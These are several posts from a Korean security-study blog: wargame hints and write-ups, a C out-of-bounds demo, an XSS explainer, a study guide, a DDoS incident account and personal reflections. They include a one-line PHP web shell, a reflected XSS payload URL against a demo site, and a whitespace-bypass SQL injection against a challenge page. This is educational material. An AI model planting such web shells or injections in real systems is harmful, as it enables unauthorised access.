본 포스팅은 문제 풀이가 아닌 힌트 및 접근 방법에 대해서만 간단하게 설명합니다.
간단한 웹쉘을 만들어서 업로드 한 뒤 이를 이용해 문제를 풀 수 있다.
<?php
system($_GET['cmd']);
?>
'Web Hacking > Dreamhack.io' 카테고리의 다른 글
Proxy-1 (0) | 2020.09.19 |
---|---|
command-injection-1 (0) | 2020.09.13 |
본 포스팅은 문제 풀이가 아닌 힌트 및 접근 방법에 대해서만 간단하게 설명합니다.
간단한 웹쉘을 만들어서 업로드 한 뒤 이를 이용해 문제를 풀 수 있다.
<?php
system($_GET['cmd']);
?>
Proxy-1 (0) | 2020.09.19 |
---|---|
command-injection-1 (0) | 2020.09.13 |
2020년의 시작을 현재 다니고 있는 회사에 입사하면서 시작했던 게 바로 며칠 전 같은데 벌써 7월 시작.
20대도 절반밖에 남지 않았고 연초에 만들었던 2020년 To-Do List의 진척도는 얼마나 됐는지 궁금하기도 하고
이런저런 이유로 중간 점검(?)을 한번 해보고 싶었습니다.
이건 1학기도, 여름방학 시작한 지금도 하고 있으니 이뤘다고 볼 수 있겠네요. 해킹팀을 처음 만든 14년부터 지금까지 몇 번을 제외하면(군대, BoB) 모든 학기, 모든 방학 때 스터디/교육/특강/멘토링을 해줬습니다. 뭘 노리고 한건 아니고 그냥 그러고 싶었습니다. 해킹을 배우고 싶어 하는 친구들이 많다는 사실도 알고(물론 입문 장벽 느끼면 다들 사라지지만) 개발에 비하면 공부법이나 공부자료가 부족한 편이라 독학으로는 많이 힘들다는 걸 알기 때문에 좀 도움이 되고 싶었습니다. 매년 초에 100명 근처로 시작해서 매년 말에 10명가량 남긴 하지만.. 그래도 잘 따라주고 잘 성장하는 덕분에 보람을 느끼는 편이었죠. 물론 모 후배의 호구 취급으로 인해 지금은 열정이 많이 사라졌지만.. 어쨌든 이것도 올해 혹은 내년을 마지막으로 그만두려고 합니다. 신입생과 나이 차이가 너무 많이 나요..
모든 신입사원들이 그렇듯 수습 사원으로 시작했는데.. 지금도 다니는 거 보면 아시겠지만 정직원 됐습니다 하하.. 아직 많이 부족하지만 그래도 미움받는 사원은 아닌 듯합니다. (아마도?) 이거 하나로도 큰 성공 중 하나라고 볼 수 있죠
해킹팀이나 대외활동 등에 대해서는 '언젠간 포스팅 해야지' 하고 있었는데 아직도 못했군요.. 아무튼 학생 때와 다르게 해킹 공부를 누군가와 같이 할 수 있는 환경이 아니다 보니까 뭔가 쉽게 지치는 느낌이 들었습니다. 그래서 해킹팀에 들어가야겠다 해서 현재 모 해킹팀에서 활동 중입니다. 대략적인 연간 계획은 들었는데 아직까지는 뭔가 '들어간 것'에 대해 평가하기가 어렵네요. 계획 자체는 나쁘지 않은데 계획은 어디까지나 계획일 뿐이니까요. 팀 활동을 통해 좀 더 성장할 수 있길 기대하고 있습니다.
아시는 분들은 아시겠지만 BoB(Best Of the Best)라는 보안 교육 프로그램이 있습니다. 개발쪽으로 따지면 소마와 비슷한 건데 개인적으로 BoB를 통해 얻어간 게 굉장히 많아서 동아리 후배들에게 항상 추천하고 있습니다. 그리고 매년 모집시기 때마다 최대한 많은 정보를 던져주고 첨삭, 면접 준비까지 도와주고 있었는데 이번에 최다 합격자 기록을 경신해서 기분이 좋습니다 :)
이건! 했습니다! 연초에 네이버 취약점 제보했었습니다. 바운티까지 받았고 버그 바운티 프로그램 명단에 이름도 올렸지요! 근데 그 이후로 바빠서 못하고 있습니다.. ㅠㅠ 요즘은 시간도 좀 나고.. 텅장이기 때문에.. 슬슬 생계형 버그 바운티를 다시 시작해봐야겠습니다.
사실 해킹 실력 유지에는 해킹 프로젝트만 한 게 없습니다. 취업 후 가장 많이 다뤘던 업무가 보고서나 인프라 진단이다 보니 실력이 점점 줄어드는 게 느껴져서 프로젝트를 해야겠다 생각했는데 이게 또 학생 때랑 다르게 같이할 사람 구하기도 쉽지 않고 시간도 내기 어렵고 하다 보니 달성하기가 매우 힘드네요 ㅠㅠ 그래도 올해 내엔 어떻게든 가능하지 않을까 생각해봅니다.
이건.. 코로나 때문에 그런가? 대회가 좀 몇 번 열렸어야 했는데 다 소식이 없더라고요.. 물론 CTF는 제외하고. CTF는 보통 팀 단위로 진행되는데 팀이 없다 보니(지금은 있지만) 본선 진출도 어렵더라고요. 어쨌든 이건 코로나 탓(?)인 걸로!
아 오르긴 올랐습니다만 제 목표치를 아직 달성하지 못했습니다.. 목표치를 설명드리고 싶은데 좀 많이 추상적이라서 정확히 설명드리긴 어렵네요.. 공부할게 산더미인데 아직 절반도 달성하지 못해서 이건 아마 올해엔 좀 어렵지 않을까 생각 중입니다..
이 글도 글또 때문에(?) 쓰는 거지만 원래 글또의 참여하게 된 계기는 팔자에도 없는 컨설팅 업무를 맡아야 하다 보니 전달력을 키우는 게 가장 시급한 문제였고 그게 글 또 만한 게 없어서 신청하게 됐습니다. 거기에 새로운 인연을 만들 수 있을 거라는 생각도 있었고요. 이 두 가지 때문에 신청했는데 후자는 코로나가... 다 망쳤네요! 어쨌든 글 쓰기 실력이 안 늘었다고 보기도 힘들고 늘어났다고 보기도 힘든 것 같아요. 아마 미세하게는 늘어난 것 같습니다.ㅋㅋㅋ 그래서 ? 로 뒀습니다.
이거 말고 살펴봐야 할 To-Do List가 더 많은데 개인적인 것도 있고 민망한 것도 있어서 (Ex. 솔로탈출) 생략하도록 하겠습니다. 진짜 벌써 2020년의 절반이 지나갔다는 게 너무 믿기지 않습니다. 아마 20대의 마지막이 절반도 남지 않았다는 사실 때문에 더더욱 그렇게 느껴지는 것 같은데.. 남은 반년 최대한 알차게 보내기 위해 노력해봐야겠습니다!
오늘은 간단하게 OOB(Out Of Boundary)에 대해 다뤄보고자 합니다. 매우 간단한 내용이라서 쉽게 이해할 수 있을겁니다. 물론 그만큼 치명적인 취약점이기도 합니다.
OOB란 말그대로 정해진 범위를 초과해서 비정상적인 행위를 유발하는 것이라고 생각하시면 됩니다. 비정상적인 행위란 임의의 코드를 실행하거나 함수를 불러오거나 비정상적인 값을 삽입하거나 이용하는 여러가지 행위들을 말합니다. 간단한 예시를 통해 확인해보겠습니다.
#include <stdio.h>
int main()
{
int idx;
int buf[5] = {0,};
int chk = 0;
printf("Input Index : ");
scanf("%d",&idx);
printf("Input Value : ");
scanf("%d",&buf[idx]);
if(chk == 1234)
printf("PASS\n");
else
printf("FAIL\n");
return 0;
}
프로그램의 내용은 간단합니다. 원하는 buf의 index값을 입력 받고 해당 위치에 정수를 입력 받은 뒤 뜬금 없지만 chk 값이 1234면 PASS 그렇지 않으면 FAIL을 출력하는 프로그램입니다. 그런데 여기서 문제가 발생합니다. index값을 입력받을때 입력값을 검증하지 않아서 정해진 buf 주소의 밖(out of boundary)에 사용자가 값을 입력할 수 있게됩니다. 이게 왜 문제가 되냐하면 실제 해당 프로그램에서 선언한 변수들이 나란히 붙어있기 때문에 idx값을 입력받을때 잘(?) 입력해주면 사용자가 chk값의 주소에 원하는 값을 넣을 수 있기 때문이죠.
쉬운 이해를 위해 각 변수의 주소값을 출력해주게 소스코드를 변경하여 실행해봤습니다. 자료형이 int기 때문에 각 주소는 4만큼 차이나고 buf[0]의 주소와 chk의 주소가 4만큼 차이나는 것을 확인할 수 있습니다. 그리고 주소상 chk가 buf[0]보다 위에 위치하고 있기 때문에 사용자가 buf의 index값을 입력할때 -1을 넣어주고 PASS조건인 1234를 입력한다면..?
위의 그림처럼 buf[idx]주소가 chk의 주소를 가르키게되고 해당 위치에 1234가 들어가서 정상적인 방법으로는 절대 PASS가 뜰 수 없는 PASS가 뜨는것을 확인할 수 있습니다.
위의 취약점을 방지하기 위해서는 idx값을 입력받을때 범위내인지 검증을 하는 과정을 넣어주면 됩니다. 사실.. 에당초 저런식의 프로그램이 흔치 않으니 저런일이 발생할 일이 거의 없긴 하겠지만말이죠..
Return to Shellcode (0) | 2019.08.09 |
---|---|
함수의 호출과 복귀 (0) | 2019.08.09 |
본 글은 개인적인 의견이며 본 글에 설명되어 있는 공부 방법보다 훨씬 더 좋은 공부 방법이 있을 수 있다는 점을 미리 알려드립니다. 만약 제가 설명한 공부 방법보다 효율 적인 방법을 알고 계신다면 댓글로 공유해주시면 감사하겠습니다.
본 글은 포너블과 웹해킹 '기초' 공부방법에 대해서만 설명해놨습니다.
바쁘신 분들은 서론은 그냥 넘어가셔도 됩니다!
저는 14년 제가 졸업한 대학에 편입했을 때부터 회사에 다니고 있는 지금까지 동아리 후배들을 위한 교육 및 멘토링을 진행하고 있습니다. 편입 직후에는 제가 해킹 공부를 갓 시작했을 때라 아는 게 없어서 무식하게 단순히 제가 공부한 내용을 정리해서 알려주는 수준이었죠. 하지만 여러 대외활동을 하면서 다양한 공부방법을 전해 듣고 실제로 겪어보면서 매년 입문자들을 위한 공부 방법을 개선해왔습니다. 작년 2학기쯤 때부터 쭉 개선해오던 공부 방법이 어느 정도 정립된 듯싶어서 이 공부 방법을 공유하고자 합니다. 해킹 및 정보보안에 입문하고 싶지만 어떻게 시작해야 할지 감도 안 잡혀서 막막한 분들에겐 어느 정도 도움이 되지 않을까 싶네요. 물론, 완벽한 공부방법이 아니다 보니 읽고 나서 '비효율적'이라고 생각하시거나 '좋지 않은 방법'이라고 생각하시는 분들이 계실 겁니다. 그런 분들은 어느 부분을 개선해야 할지 알려주시면 감사하겠습니다 :)
본 설명은 비전공자를 기준으로 합니다.
해킹을 쉽게 설명하자면 '서비스(프로그램/웹 등)에 비정상적인 방법을 통해 내가 원하는 것을 얻어내는 것' 이라고 보면 됩니다. (물론 정확한 설명은 아닙니다.) 그럼 우리는 그 서비스에 대한 완벽한 이해까지는 아니더라도 적당한 이해는 필요할겁니다.
예를 들어서 여러분들이 어느 날 지각을 했는데 선생님 몰래 출석부를 조작해서 지각을 출석으로 변경하고 싶다고 가정해봅시다. 그러기 위해서는 여러분들은 출석부를 읽을 줄 알아야 하고 출석부에 마킹된 표시의 의미를 알아야 합니다. 그리고 지각을 출석으로 변경할 때의 절차도 알아야 하죠.
만약 여러분이 '김가나'씨고 6월 5일 날 지각을 했지만 출석부를 조작하여 지각을 출석으로 변경하고 싶다고 했을 때 위의 내용을 보고 출석 체크의 절차에 대해 이해할 수 있어야 합니다. 다행히 예시용 출석부 하단에 각 표시에 대한 설명이 있군요. 그런데 날짜 우측의 공란과 하단의 공란에 대해 정확한 설명이 없습니다. 하지만 하단 서명은 최종 확인란이라고 추측이 가능하고 우측 공란은 지각자를 출석으로 수정했을 때 담당자가 서명하는 것이라고 추측이 가능합니다. 그럼 여러분들은 지각 표시에 선하나 더 긋고 우측에 담당자 서명란에 서명을 하고 하단의 공란에 다시 한번 서명을 하면 원하는 바를 이룰 수 있습니다!
위의 예시처럼 뭔가를 조작하기 위해서는 '완벽한 이해'까지는 아니더라도 '적당한 이해'가 필요합니다. 완벽하게 이해하면 좋겠지만 현실적으로 매우 어려우니 위의 예시처럼 어느 정도 이해하고 추측할 수 있는 정도의 이해면 됩니다.
그럼 본격적으로 해킹을 위해서 어느정도 알고 있어야 하고 어떻게 공부해야 할까요? 먼저 공부 방법에 대해 설명드리자면 크게 2가지 방식이 있습니다. Top-Down과 Bottom-Up이라고 부르는 방식이죠. 간단히 설명하자면 아래 그림으로 요약이 가능합니다. (그림이 이쁘진 않아요..)
Bottom-Up의 경우는 해킹 공부를 위해 배경 지식을 먼저 학습하고 공격 기법을 학습한 뒤 본격적인 해킹 문제(워게임이나 CTF 등)를 푸는 방법입니다. Top-Down은 이와 반대로 해킹 문제 혹은 공격 기법을 먼저 접하고 이를 위해 필요한 배경 지식만 골라서 학습하는 방법이죠. 두 방법의 장단점이 있습니다.
먼저 Bottom-Up의 경우 Top-Down에 비해 훨씬 효율적입니다. 애당초 필요한 내용을 다 알고 있는 상태에서 다음 단계로 넘어가는 형식이니 시간적인 면이나 학습적인 면에서 매우 효율적일 수 밖에 없죠. 하지만 재미나 흥미 등의 동기부여면에서는 Top-Down에 비해 약하다고 볼 수 있습니다.
반면에 Top-Down의 경우 재미나 흥미 등의 동기부여면에서는 강하지만 효율적인 측면에서는 Bottom-Up을 따라갈 수 없습니다. 에당초 문제를 직면하고 문제의 의도를 파악한 뒤 공격 기법을 공부하다가 이해가 안돼서 공격 기법 설명에 나오는 배경지식들을 하나하나 검색하며 공부하는 방법인데 효율이 좋을 리가 없죠. LoL로 따지면 상황에 따른 아이템 트리를 그때그때 인벤에서 검색하며 빌드업 방법과 이미 상황에 따른 아이템 트리를 다 알고 있는 상황에서 빌드업하는 방법 정도라고 생각하시면 이해가 가실 거라 생각합니다. (LoL을 안 한 지 오래돼서 맞는 비유인지는 잘 모르겠네요.. 예전에 제가 저랬거든요.)
위의 내용을 보면 '뭐야 그럼 Bottom-Up이 최고네!'라고 하시겠지만 사실 막상 해보면 그렇지 않습니다. 이런 문제는 우리가 흔히 볼 수 있는 무협, 판타지, 액션 장르의 웹툰이나 영화 등에 자주 나옵니다.
위의 짤처럼 주인공이 강해지기 위해 수련받는 도중에 강력한 기술이나 스킬을 알려주기는 커녕 '기초 훈련'이라는 이유로 허드렛일을 하다가 빡치는 장면을 많이 보셨을 겁니다. 위처럼 '아니 나는 해킹을 배우고 싶은데 언제까지 이런 걸 배워야 하지?'라고 생각하는 경우도 있고 배경 지식을 공부하다가 재미없어서 포기하는 친구들을 많이 봐왔습니다. 특히 개발보단 해킹이 이런 일이 더 흔합니다. 개발의 경우 '프로그래밍 언어'를 학습한 뒤 바로 간단한 결과물이라도 만들어낼 수 있지만 해킹의 경우 '프로그래밍 언어'를 학습 한 뒤 '공격 기법'을 학습하고 나서야 간단한 문제라도 풀 수 있기 때문이죠.
그래서 저는 이런 문제를 해결하고자 Top-Down과 Bottom-Up을 반반(?)씩 섞어서 후배들에게 알려주고 있습니다. '최소한의 배경지식'만 학습하고 바로 '해킹 기법'을 학습시킨 뒤 그 기법에 맞는 '해킹 문제'를 풀게 하는 거죠. 정확한 커리큘럼은 아래와 같습니다.
포너블과 웹해킹 모두 공통적으로 C언어 혹은 객체지향 언어 1개를 필수로 학습합니다. 포너블의 경우 기초 문제들이 C나 C++로 이루어진 경우가 많아서 필수고 웹의 경우는 지금 바로는 도움이 되지 않아도 향후에 도움이 되기 때문이죠. 리눅스 역시 포너블의 경우 리눅스에서 풀어야 하는 경우가 많고 포너블에 사용하는 툴들이 리눅스에서 구동되는 경우가 많기 때문이죠. 웹의 경우엔 대부분의 웹 서비스가 리눅스에서 사용돼서 두 가지 부분은 공통적으로 학습을 권장하고 있습니다.
단, 언어의 경우는 간단하게 포인터와 사용자 함수 부분까지만 학습시키고 리눅스도 단순히 기초 명령어 수준까지만 학습시킵니다. 언어의 경우 어차피 학교에서 나머지 부분을 다루기 때문에 굳이 뒷부분을 다룰 필요가 없고 리눅스의 경우도 초반엔 리눅스 기초 명령어만 다룰 줄 알아도 문제 푸는 데엔 지장이 없기 때문이죠.
3단계부터는 갈립니다. 포너블의 경우 Assembly를 웹의 경우 HTML, PHP, MySQL을 학습시킵니다. Assembly의 경우 그냥 간단하게 함수 생성 및 호출 정도까지만 학습시키고 웹의 경우엔 HTML과 PHP, MySQL을 학습한 뒤 간단하게 게시판 구축하는 것까지 진행합니다. 게시판엔 회원가입, 로그인, 게시글 및 댓글 생성/수정/삭제/조회, 파일 업로드/다운로드 기능까지 구현합니다.
4단계의 경우 포너블은 매우 유명한 달고나 문서와 라젠카 테크노트(https://www.lazenca.net/), 드림핵(https://dreamhack.io/)를 통해 학습시키고 웹의 경우 OWASP TOP 10과 드림핵(https://dreamhack.io/)을 통해 학습시키고 있습니다.
5단계의 경우 포너블은 LOB Redhat을 통해 Stack 영역에 대한 공격 기법 학습을 먼저 진행하고 그 후에는 상황에 따라 LOB Fedora 혹은 드림핵, 폰케알(http://pwnable.kr/) 등을 학습시키고 있습니다. 웹의 경우에는 워게임 문제풀이 전에 각자 구축한 게시판을 공개하여 서로가 서로의 게시판에 대한 실제 취약점을 찾아보고 간단한 보고서까지 작성해서 공유하고 각자 해당 보고서를 보고 자신의 게시판의 취약점을 패치하는 작업까지 진행한 뒤 웹케알(http://webhacking.kr/), 드림핵 등의 문제를 풀이시키고 있습니다.
이 이후에는 개별적인 학습 지도만 해주고 있습니다. 저 정도면 기초 부분은 끝났고 대략적인 학습 방법도 익힌 상태라 알아서 공부를 잘하더라고요. 가끔 '여기까지 했는데 이제 뭘 해야 할지 모르겠다.'라고 연락 올 때나 이렇게 저렇게 공부해라 정도만 하고 있습니다. 이 방법을 통해 여러 명을 가르쳤는데 저보다 더 잘된 친구도 있고 단기간에 네이버 버그 바운티 프로그램에 취약점을 여러 개 제보한 친구도 있는 걸 보면 나름 괜찮은 학습법이라 생각합니다.
이 포스팅 내용이 해킹 공부의 앞길이 막막하신 분들에게 큰 도움이 됐으면 좋겠습니다. :)
황금연휴에 DDoS 공격 받은 이야기.. (0) | 2020.05.10 |
---|---|
글또 4기 시작. (0) | 2020.03.01 |
근황 업데이트 (0) | 2020.01.18 |
2019 하반기 CJ 인적성 후기 (0) | 2019.10.22 |
2019 하반기 KT 인적성 후기 (0) | 2019.10.13 |
개인적으로 취미겸 봉사(?)로 국내의 한 대규모 게임 커뮤니티의 게임 서버와 팀스피크 서버를 관리/운영하고 있습니다. 그런데 이번 황금 연휴 기간에 갑작스러운 DDoS 공격으로 팀스피크 서버가 다운되서 다수의 커뮤니티원들이 불편을 겪게됐습니다. 다행히 이에 대한 대응과 복구는 신속하게 진행되어 몇분안에 정상화 됐습니다. 오늘은 이에 대해 포스팅하고자 합니다.
일단 이야기를 시작하기에 앞서 제가 관리중인 커뮤니티 서버에 대해서 간단하게 설명드리겠습니다.
1서버 : 대규모 게임 서버, 가정에서 사용하는 개인 PC Windows 10 사용중 (피크 타임 동접자 약 50여명)
2서버 : 소규모 게임 서버, 가정에서 사용하는 개인 PC Windows 10 사용중 (평균 동접자 약 10여명)
3서버 : 팀스피크 서버, AWS Lightsail Ubuntu 사용중 (피크 타임 동접자 약 80여명)
서버 관리자 : 메인 3명, 서브 1명(이전에 서버를 담당했던 사람으로 메인으로 서버 관리에 참여하고 있지는 않음)
이번에 공격 당한 서버는 3서버인 팀스피크 서버입니다. 5월 4일 오후 10시쯤 커뮤니티에 팀스피크 서버가 접속이 불가능하다는 글들이 올라왔습니다. 처음엔 단순한 서버 문제라고 생각했지만 최초로 서버 문제를 해결하던 사람에게 DDoS 공격인것 같다는 소식을 듣게 되었고 터미널에 접속이 불가능하니 서버를 재부팅하겠다는 얘기까지 듣고나서 심각함을 깨달았습니다.
다행히 서브 관리자 1명이 임시 팀스피크 서버를 열어 커뮤니티원들의 불편함은 금방 해결할 수 있었고 임시 서버를 운영하는 동안 저는 정확한 문제 파악을 진행하고 다른 두명은 서버 복구를 진행했습니다. 가장 먼저 제가 살펴본건 네트워크 트래픽 지표였습니다.
평상시 수신 트래픽은 피크타임 기준 최대 10MB 내외입니다. 반면 공격당시 수신 트래픽은 기가 단위까지 올라갑니다. (그래프는 1시간 평균이라 다소 낮게 나옴) 이미 그래프만 봐도 아시겠지만 최초 공격 이후인 5월 7일날 공격이 한번 더 들어왔습니다. 아마 몇몇 분들은 '무슨 서버가 저정도 트래픽도 감당을 못하냐' 라고 생각하실 수 있겠지만 팀스피크 서버는 3$ 내외의 가장 낮은 스펙의 서버입니다. 이번처럼 기가 단위의 트래픽이 들어오면 금방 죽어버릴 수 밖에 없습니다. 비싼 서버를 사용하지 않는 이유는 공격을 당하지 않으면 해당 스펙으로도 전혀 문제가 없고 서버 유지 비용은 개인 사비다 보니 가성비 측면에서 이보다 비싼 서버를 쓸 이유가 없습니다.
트래픽을 확인한 후 바로 로그 분석에 들어갔습니다.
서버 오류를 최초로 들어온 시간 근처의 로그를 찾아보니 94.23.235.222, 108.61.78.149, 37.187.252.194 총 3개의 IP주소에서 Unknown, Unknown1, Unknown2라는 이름으로 계속해서 연결을 시도했다가 끊는 것을 반복했다는 것을 확인할 수 있었습니다. 이 3개 IP주소에 대해 남은 로그의 수는 약 4100개. 지식 부족으로 정확한 이유는 알 수 없지만 저 4100개의 연결 시도와 연결 끊기를 처리하다가 서버의 메모리 고갈로 서버가 뻗어버린게 아닐까 하고 결론을 냈습니다.
일단 서버 복구는 서버 재부팅 및 고정 IP 변경, 도메인 변경이라는 임시 조치를 통해 어느정도 해결했습니다. 하지만 위 트래픽 그래프를 보시면 아시겠지만 바로 2일 후 또 공격을 당했죠.. 이에 DDoS 예방에 대해 많은 논의가 오고갔습니다. GEO IP를 이용한 필터링, 사용자명을 통한 필터링, NFO Servers로 서버 이전 등 다양한 의견이 오고갔는데..
GEO IP는 커뮤니티에 해외 접속자가 있어서 불가능했고, 사용자명을 통한 필터링은 팀스피크에 대해 잘 모르는 첫 접속자들의 접속을 어렵게 할 수 있다는 점에서 기각, 결국 NFO Servers로 서버를 이전하기로 했습니다. 1달에 10$ 라는 유지 비용을 지출해야하지만 DDoS에 대해 거의 완벽하게 방어해준다는 특징 때문에 어쩔 수 없이(?) 사용하기로 했습니다. 현재 이전은 완료했고 아직까지는 추가 장애가 발생하지 않았습니다. 실제러 NFO에서 잘 막아주고 있는건지 공격자가 포기한건지 알 수 없지만 부디 당분간은 잠잠했으면 좋겠네요..
해킹(보안) 공부 방법 (4) | 2020.06.07 |
---|---|
글또 4기 시작. (0) | 2020.03.01 |
근황 업데이트 (0) | 2020.01.18 |
2019 하반기 CJ 인적성 후기 (0) | 2019.10.22 |
2019 하반기 KT 인적성 후기 (0) | 2019.10.13 |
사실 지난번 포스팅했던 XSS(Cross-Site Scripting) 취약점 찾기 포스팅 전에 먼저 다뤘어야 했는데 깜빡해버려서 지금에서야 올립니다. 사실 크게 어려운 개념도 아니고 워낙 유명해서 이전 포스팅을 통해 XSS를 처음 접해보셨던 분들도 간단한 검색을 통해서 쉽게 개념을 이해하셨을 거라 생각합니다만 그래도 XSS에 대해 소개는 해야 될 것 같습니다 ㅋㅋ
XSS(Cross-Site Scripting)은 일반적으로 자바스크립트를 이용한 공격으로 사용자가 입력한 값이 별도의 필터링 없이 서버로 넘어갈 경우 주로 발생합니다. 공격자는 자신이 입력한 값이 필터링 없이 그대로 서버로 넘어가 처리되는 점을 악용하여 공격자가 원하는 임의의 자바스크립트 명령어를 삽입합니다. 그 후 일반 사용자들이 해당 페이지에 접속하게 되면 공격자가 삽입한 임의의 스크립트가 동작하며 사용자의 쿠키 값을 공격자의 서버로 전송한다거나 좀 더 치명적인 악성코드가 삽입되어 있는 사이트로 강제 리다이렉트 되는 등의 피해가 발생할 수 있습니다. 물론, 이번 신천지 홈 페이지 사건 처럼(...) 단순히 경고 문구(?)가 담긴 경고창을 띄우고 끝나는 귀여운 장난(?)으로 끝낼 수 도 있습니다.
XSS는 크게 Reflected, Stored 2가지 종류로 나뉩니다. Reflected는 사용자에게 악성 스크립트가 포함된 URL을 전송하여 서버에 해당 악성 스크립트를 요청하게 하는 것이고 Stored는 공격자가 게시글이나 댓글 등을 통해 서버에 악성 스크립트를 저장하고 다른 사용자들이 이를 열람하면 해당 스크립트가 동작한다는 것입니다.
XSS의 예시는 Reflected XSS의 경우엔 해킹을 공부하는 사람들 사이에서 유명한 데모 사이트(http://demo.testfire.net)를 통해 예시를 들려고 합니다. Stored XSS의 경우엔 예시를 들 수 있는 데모 사이트가 기억나지 않아서 이전에 포스팅했던 XSS(Cross-Site Scripting) 취약점 찾기 를 참고해주시면 될것 같습니다. 예시의 경우 실제 악성 스크립트를 갖고 예시를 들기엔 좀 무리가 있어서 간단하게 Alert창에 현재 접속한 domain 이름이나 쿠키값을 출력하는 정도로 끝내겠습니다.
먼저 Reflected XSS의 예시입니다. 데모 사이트에 접속을 해보면 우측 상단에 검색창이 존재합니다. 해당 검색창에 내용을 입력하고 검색 버튼을 누르면 search.jsp에 query라는 파라미터 값으로 검색 내용을 넘기는데 해당 부분에 스크립트 내용을 삽입하면 입력한 내용대로 스크립트가 동작하는 것을 확인할 수 있습니다. 이를 이용해 공격자가 query 파라미터 값에 악성 스크립트를 삽입하고 사용자에게 넘긴 후 사용자가 이를 클릭하면 공격자가 의도한 악성 코드가 실행되는 것을 확인할 수 있습니다.
URL : http://demo.testfire.net/search.jsp?query=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
링크 클릭시 결과
XSS(Cross-Site Scripting) 취약점 찾기 를 참고해주세요. 하단의 실사례가 Stored XSS입니다 :)
(추후 Stored XSS가 가능한 데모 사이트를 찾게 되면 수정하도록 하겠습니다.)
방어기법은 간단합니다. 보통 XSS 공격은 특수 문자가 거의 필수로 들어가기 때문에 preg_replace나 htmlpurifier 등을 통해 특수문자에 대한 필터링을 해준다면 어느 정도 XSS를 방어할 수 있습니다.
XSS(Cross-Site Scripting) 취약점 찾기 (0) | 2020.03.14 |
---|
드디어 밀린 문제 풀이를 올립니다. 요즘 새로운 문제 푸는 게 손에 잡히지 않아서 복습도 할 겸 밀린 문제 풀이를 올려야겠네요! 이번 문제는 기초 SQL Injection 문제입니다. 문제를 열어보면 아래와 같은 화면을 보실 수 있습니다.
SQL Injection 문제가 대부분 admin으로 로그인하는게 목표이므로 이 친구도 admin으로 로그인하면 풀릴 거라 쉽게 예상할 수 있습니다. 일단 view-source를 클릭해서 소스코드를 확인해보겠습니다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
</a>
<br><br><a href=?view_source=1>view-source</a>
</center>
</body>
</html>
GET 방식으로 no 값을 받고 no값에서 select, from, & 등 몇가지 문자에 대해서 필터링을 해주고 해당 문자가 아닐 경우
위와 같은 쿼리문을 서버에 보내서 result에 담고 result['id']가 admin일 경우에 문제가 풀리는 코드입니다. 친절하게 admin은 no=2라고 주석에 적혀있네요!
일단 where 조건으로 id가 guest로 고정되어 있으니 이 부분부터 거짓으로 만들어 조건 값을 초기화 시켜줘야겠습니다. no=2가 admin이라는 걸 알았으니 일단 아래처럼 첫 입력값으로 2를 넣어서 조건 값을 초기화시켜줍니다.
파란 부분(id='guest')과 초록 부분(no=2)에 해당하는 값은 존재하지 않아 거짓이 되면서 결과값으로 아무런 값도 반환되지 않습니다. 그럼 이 상태에서 어떻게 admin id를 결과 값으로 반환시킬 수 있을까요? 간단합니다. 입력값 뒤에 새로운 조건을 넣어주면 됩니다.
취소선 부분은 앞에서 거짓 처리되는 것을 확인했으니 where 부분을 새로 해석해보면 FALSE or no=2 가 됩니다. 이를 다시 해석하자면 아래와 같은 쿼리문이 서버로 날아가겠죠
그리고 아까 코드 주석에서 admin의 no값은 2라고 친절하게 설명해줬으니 결과값에 result에 admin이 들어갈 거고 문제가 풀려야 합니다만.. 코드를 살펴보면 '공백'에 대한 필터링이 존재합니다. 그렇다고 입력값을 다 붙여 쓴다면 or를 인식하지 못하죠. 결국 '공백'과 같은 효과를 주면서 '공백'이 아닌 문자를 넣어줘야 합니다. 예를 들면 LF(LineFeed) 같은 문자가 있죠. 이제 LF를 입력값에 넣고 넘겨주기만 하면 됩니다. 다만 일반적인 입력방식으로는 LF를 넘기는 건 불가능하니 ASCII 코드를 이용하기로 합니다. 그럼 아래와 같은 쿼리문이 서버에 날아가겠죠
그럼 아래와 같이 admin으로 로그인된 것을 확인할 수 있습니다. 끝!
[Webhacking.kr] old-19 (0) | 2019.12.02 |
---|---|
[Webhacking.kr] old-10 (0) | 2019.10.29 |
[Webhacking.kr] old-06 (0) | 2019.10.29 |
[Webhacking.kr] old-54 (0) | 2019.10.22 |
[Webhacking.kr] old-26 (0) | 2019.10.22 |